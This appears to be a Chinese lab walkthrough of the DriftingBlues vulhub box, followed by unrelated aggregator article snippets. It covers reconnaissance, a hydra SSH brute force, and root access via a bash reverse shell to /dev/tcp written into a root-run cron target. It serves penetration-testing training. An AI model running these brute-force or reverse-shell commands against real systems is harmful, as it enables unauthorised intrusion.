vulhub打靶记录——driftingbox

news2024/11/25 14:27:27

文章目录

    • 主机发现
    • 端口扫描
    • 目录扫描
    • 爆破子域名
    • 提权
    • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.56.0/24

在这里插入图片描述

  • 192.168.56.1:主机IP;
  • 192.168.56.100:DHCP服务器IP;
  • 192.168.56.101:Kali IP;
  • 192.168.56.106:靶机IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.56.105 -oN scan.txt

-oN:以txt文本格式输出nmap扫描结果。

在这里插入图片描述

可见这台靶机,开放了端口:22(ssh,linux上的远程登录协议))、80(http,web服务)。

  • 通常情况,先对80端口的web服务进行渗透。
  • 考虑到实际情况中,使用漏洞扫描器(nikto)有很大的风险,在以后的实验中不再使用漏扫工具。

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.56.106 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
发现并没有有啥用的信息~,查看80端口上的网站源码。
在这里插入图片描述
发现一段经过base64编码后的字符串,拿去解码,得到/noteforkingfish.txt这样一个路径。访问192.168.56.106/noteforkingfish.txt
在这里插入图片描述
Brainfuck/Ook! Obfuscation/Encoding对上述密文进行解密。
在这里插入图片描述
就是说让你用域名去访问这个网站,然后再网页上发现driftingblues.box这个域名。

在这里插入图片描述

vim /etc/hosts # 修改host文件

# 内容
192.168.56.106 driftingblues.box

source /etc/hosts # 重新加载

爆破子域名

拿到域名之后就可以用wfuzz爆破子域名

wfuzz -H 'HOST:FUZZ.driftingblues.box' -u 'http://192.168.56.106' -w <directory> --hw 570,53

在这里插入图片描述

570,53是返回的word数,--hw 570,53是隐藏返回word为570和53的子域名爆破情况。

发现一个test的子域名,此时需要将test.driftingblues.box写入hosts文件,才能访问到该域名。

vim /etc/hosts # 修改host文件

# 内容
192.168.56.106 test.driftingblues.box

source /etc/hosts # 重新加载

访问test.driftingblues.box,发现返回work in progress,相当于网站正在建设…

在这里插入图片描述
但是不影响进行目录扫描。

dirsearch -u http://test.driftingblues.box -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
访问test.driftingblues.box/robots.txt
在这里插入图片描述
发现了http://test.driftingblues.box/ssh_cred.txt可以访问,且发现ssh的密码,但是密码不全,密码最后缺少一个数字。需要爆破ssh
在这里插入图片描述
现在我们知道了密码就是1mw4ckyyucky[0-9],然后用户名就是sheryl or eric。先把所有可能的密码保存到一个文件中。再使用hydra爆破ssh

hydra -l eric -P <directory> -t 30 192.168.56.106 ssh -f -vV

-l:用户名;
-P:密码;必须为大写P
-t:线程;
ssh:协议名称,这里是ssh,hydra支持多种协议;
-f:爆破成功就退出;
-vV:输出详细信息。

在这里插入图片描述
ssh的用户名为eric,密码为1mw4ckyyucky6

提权

ssh登录远程主机。

ssh eric@192.168.56.106 -P 1mw4ckyyucky6

在这里插入图片描述
进入/home,查看有哪些用户,并进入eric目录。
在这里插入图片描述
发现eric目录下,并没有什么东西。
在这里插入图片描述
再搜索具备SUID权限的程序,命令如下:

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述
发现并没有特殊的文件。再查看定时任务cat /etc/crontab
在这里插入图片描述
上传自动化提权脚本linPEAS,部署http服务,命令:

python3 -m http.server 80

在靶机上通过web服务下载linpeas脚本,命令:

wget http://192.168.56.101/Linpeas.sh
chmod +x linpeas.sh # 赋予脚本可执行的权限
./linpeas.sh # 执行脚本

在这里插入图片描述

这个脚本显示的东西属实有点多~

uname -a # 查看操作系统位数

在这里插入图片描述

使用同样的方法,往靶机上上传papy64

wget http://192.168.56.101/pspy64
chmod +x pspy64 # 赋予脚本可执行的权限
./pspy64 # 执行脚本

系统上有些定时任务并不是通过操作系统(linux,/etc/crontab)进行配置,而pspy脚本会检测系统中运行的进程。

在这里插入图片描述
发现:系统隔一分钟就会执行下面几条命令:

/usr/bin/zip -r -0 /tmp/backup.zip /var/www/ # 将/var/www下的所有文件压缩到/tmp/bakup.zip文件中
/bin/sh /var/backups/backup.sh # 执行/var/backups/backup.sh
/bin/sh -c /bin/sh /var/backups/backup.sh 
/usr/sbin/CRON -f  # 以前台模式启动CRON任务调度服务。
/bin/chmod 
sudo /tmp/emergency
  • zip-r表示将指定的文件或目录及其子目录递归地压缩到一个压缩文件中,-0表示覆盖已存在的压缩文件,并不需要用户确认;
  • /usr 目录通常包含系统级别的应用程序和命令,而 /usr/sbin 目录专门用于存放需要超级用户权限(root权限)才能执行的系统管理命令或服务。

查看/var/backups/backup.sh
在这里插入图片描述
注意:每一分钟执行baskup.sh时,uid=0说明是root用户执行这个脚本。
而且,sudo /tmp/emergency命令是以root用户的权限去执行/tmp/emergency,现在/tmp/emergency并不存在,我们新建一个mp/emergency,里面放反弹shell,再赋予可执行权限,是不是就可以拿到root用户的shell了呢?

在这里插入图片描述
emergency中写入以下内容:

#!/bin/bash
bash -i >& /dev/tcp/192.168.56.101/443 0>&1

在这里插入图片描述
监听443端口,获取root用户的shell。

nc -nlvp 443

在这里插入图片描述
在这里插入图片描述

总结

渗透思路:

  1. 端口扫描,获取主机开放22、80端口;
  2. 对80端口,目录扫描;
  3. 查看网站源代码,发现base64编码的字符串,解码得到一个路径;
  4. 访问解码得到的路径,获得经过0ok编码的字符串,解码得到:主机ssh部分登录密码;
  5. hydra爆破ssh服务,成功登录;
  6. pspy64脚本实时监控系统进程,发现/var/backups/backup.sh按规律执行;
  7. emergency中写入反弹shell,系统自动执行,获取root shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1561524.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

代码随想录第二十六天 | 回溯算法P3 |● 39. ● 40.● 131.

39. 组合总和 给你一个 无重复元素 的整数数组 candidates 和一个目标整数 target &#xff0c;找出 candidates 中可以使数字和为目标数 target 的 所有 不同组合 &#xff0c;并以列表形式返回。你可以按 任意顺序 返回这些组合。 candidates 中的 同一个 数字可以 无限制重…

windows下部署llama.cpp

下载cmake 下载地址 解压&#xff0c;设置Path环境变量D:\CMake\bin 打开cmd输入cmake -version 安装mingw powershell下执行 Set-ExecutionPolicy RemoteSigned -Scope CurrentUser iex "& {$(irm get.scoop.sh)} -RunAsAdmin" scoop bucket add extras s…

蓝桥杯算法题——暴力枚举法

先估算这个数小于3的50次方 cnt0 for i in range(50):for j in range(50):for k in range(50):a3**ib5**jc7**kif a*b*c<59084709587505:cnt1 print(cnt-1)#当ijk都为0时&#xff0c;a*b*c1不是幸运数字所以要减去

C++笔记:命名空间

引入&#xff1a; 平常&#xff0c;我们在进行C编写时&#xff0c;一般我们都会默认在开始去写这样的代码&#xff1a; #include<iostream>//包含头文件using namespace std;//展开命名空间 这里就出现了与C语言不同的地方&#xff1a;这里的命名空间就是C对于C语言进…

深度学习| DiceLoss解决图像数据不平衡问题

图像数据不平衡问题 图像数据不平衡&#xff1a;在进行图像分割时&#xff0c;二分类问题中&#xff0c;背景过大&#xff0c;前景过小&#xff1b;多分类问题中&#xff0c;某一类别的物体体积过小。在很多图像数据的时候都会遇到这个情况&#xff0c;尤其是在医学图像处理的…

如何快速掌握数字化运维方法,构建数字化运维体系?

⛳️ 写在前面参与规则&#xff01;&#xff01;&#xff01; ✅参与方式&#xff1a;关注博主、点赞、收藏、评论&#xff0c;任意评论&#xff08;每人最多评论三次&#xff09; ⛳️本次送书1~4本【取决于阅读量&#xff0c;阅读量越多&#xff0c;送的越多】 主要内容读者…

操作符:左移(<<)右移(>>)

在介绍移位操作符前&#xff0c;我们先介绍一下原码反码和补码 这里要讲的左移和右移牵扯到原码补码和反码&#xff0c; 原码即这个整数转化为2进制时的一串&#xff0c; 正整数的原码、反码、补码相同&#xff0c; 10&#xff08;int类型&#xff09;的原码&#xff1a;00…

day4 linux上部署第一个nest项目(java转ts全栈/3R教室)

背景&#xff1a;上一篇吧nest-vben-admin项目&#xff0c;再开发环境上跑通了&#xff0c;并且build出来了dist文件&#xff0c;接下来再部署到linux试试吧 dist文件夹是干嘛的&#xff1f; 一个pnpn install 直接生成了两个dist文件夹&#xff0c;前端admin项目一个&#xf…

黑马鸿蒙笔记 3

目录 11.ArkUI组件-Column和Row 12.ArkUI组件-循环控制 13.ArkUI组件-List 14.ArkUI组件-自定义组件 15.ArkUI组件-状态管理State装饰器 16.ArkUI组件-状态管理-任务统计案例 17.ArkUI组件-状态管理-PropLinkProvideConsume 11.ArkUI组件-Column和Row Colum和Row的交叉…

力扣-python-故障键盘

题解&#xff1a; from collections import dequeclass Solution:def finalString(self, s: str) -> str:# 创建一个双端队列用于存储字符q deque()# 定义一个标志位&#xff0c;用于标记当前字符应该添加到队列的哪一端head False# 遍历输入的字符串s的每一个字符for ch…

k8s安装traefik作为ingress

一、先来介绍下Ingress Ingress 这个东西是 1.2 后才出现的&#xff0c;通过 Ingress 用户可以实现使用 nginx 等开源的反向代理负载均衡器实现对外暴露服务&#xff0c;以下详细说一下 Ingress&#xff0c;毕竟 traefik 用的就是 Ingress 使用 Ingress 时一般会有三个组件: …

从0到1利用express搭建后端服务

目录 1 架构的选择2 环境搭建3 安装express4 创建启动文件5 express的核心功能6 加入日志记录功能7 日志记录的好处本节代码总结 不知不觉学习低代码已经进入第四个年头了&#xff0c;既然低代码很好&#xff0c;为什么突然又自己架构起后端了呢&#xff1f;我有一句话叫低代码…

大模型 web ui 界面 text-generation-webui

目录 前言 web ui ValueError: When localhost is not accessible 前言 使用 text-generation-webui 生成大模型界面&#xff0c;这个是专门用于文本对话生成的 web ui 界面 GitHub - oobabooga/text-generation-webui: A Gradio web UI for Large Language Models. Suppo…

【语言信号增强算法研究-1】维纳滤波(Wiener Filter)

1 语音增强方法分类 2 维纳滤波的局限性 对于非线性和非高斯噪声的处理效果不佳&#xff1b; 对于信号和噪声的统计特性要求比较高&#xff0c;需要准确地了解信号和噪声的分布规律&#xff08;说明自适应很差&#xff09;&#xff1b; 在处理复杂信号时&#xff0c;需要进行多…

【Functional Affordances】如何确认可抓取的区域?(前传)

文章目录 1. 【Meta AI】Emerging Properties in Self-Supervised Vision Transformers2. 【Meta AI】DINOv2: Learning Robust Visual Features without Supervision3. 【NeurIPS 2023】Diffusion Hyperfeatures: Searching Through Time and Space for Semantic Corresponden…

ElasticSearch理论指导

引子 本文致力于ElasticSearch理论体系构建&#xff0c;从基本概念和术语讲起&#xff0c;具体阐述了倒排索引和TransLog&#xff0c;接着讲了ElasticSearch的增删改查的流程和原理&#xff0c;最后讲了讲集群的选举和脑裂问题。 前言 大碗宽面-Kafka一本道万事通&#xff0…

蓝桥杯真题:成绩统计

这题思路简单&#xff0c;但是输出结果的位置容易出错&#xff0c;题目要求四舍五入&#xff0c;所以要用Math.round&#xff08;&#xff09;的方法

瑞吉外卖实战学习--10、完成新增菜品分类

完成新增菜品分类 前言1、前期准备定义实体类和实体对象 2、创建修改的接口 前言 1、前期准备 定义实体类和实体对象 package com.example.ruiji_demo.entity;import com.baomidou.mybatisplus.annotation.FieldFill; import com.baomidou.mybatisplus.annotation.TableField; …

kubernetes-Pod基于污点、容忍度、亲和性的多种调度策略(二)

Pod调度策略 一.污点-Taint二.容忍度-Tolerations三.Pod常见状态和重启策略1.Pod常见状态2.Pod的重启策略2.1测试Always重启策略2.2测试Never重启策略2.3测试OnFailure重启策略&#xff08;生产环境中常用&#xff09; 一.污点-Taint 在 Kubernetes 中&#xff0c;污点&#x…

稻盛和夫|普通人如何才能取得非凡成就?

哈喽,你好啊,我是雷工! 稻盛和夫老先生曾经回答过这么一个问题: 资质平庸的普通人如何才能取得非凡的成就? 稻盛和夫认为:人生成就=能力努力态度。 也就是:做一个努力工作却不甘于只做眼前的事,而想要做更有挑战的事,这种人才能逃离平庸,取得非凡成就。 01 不甘平凡…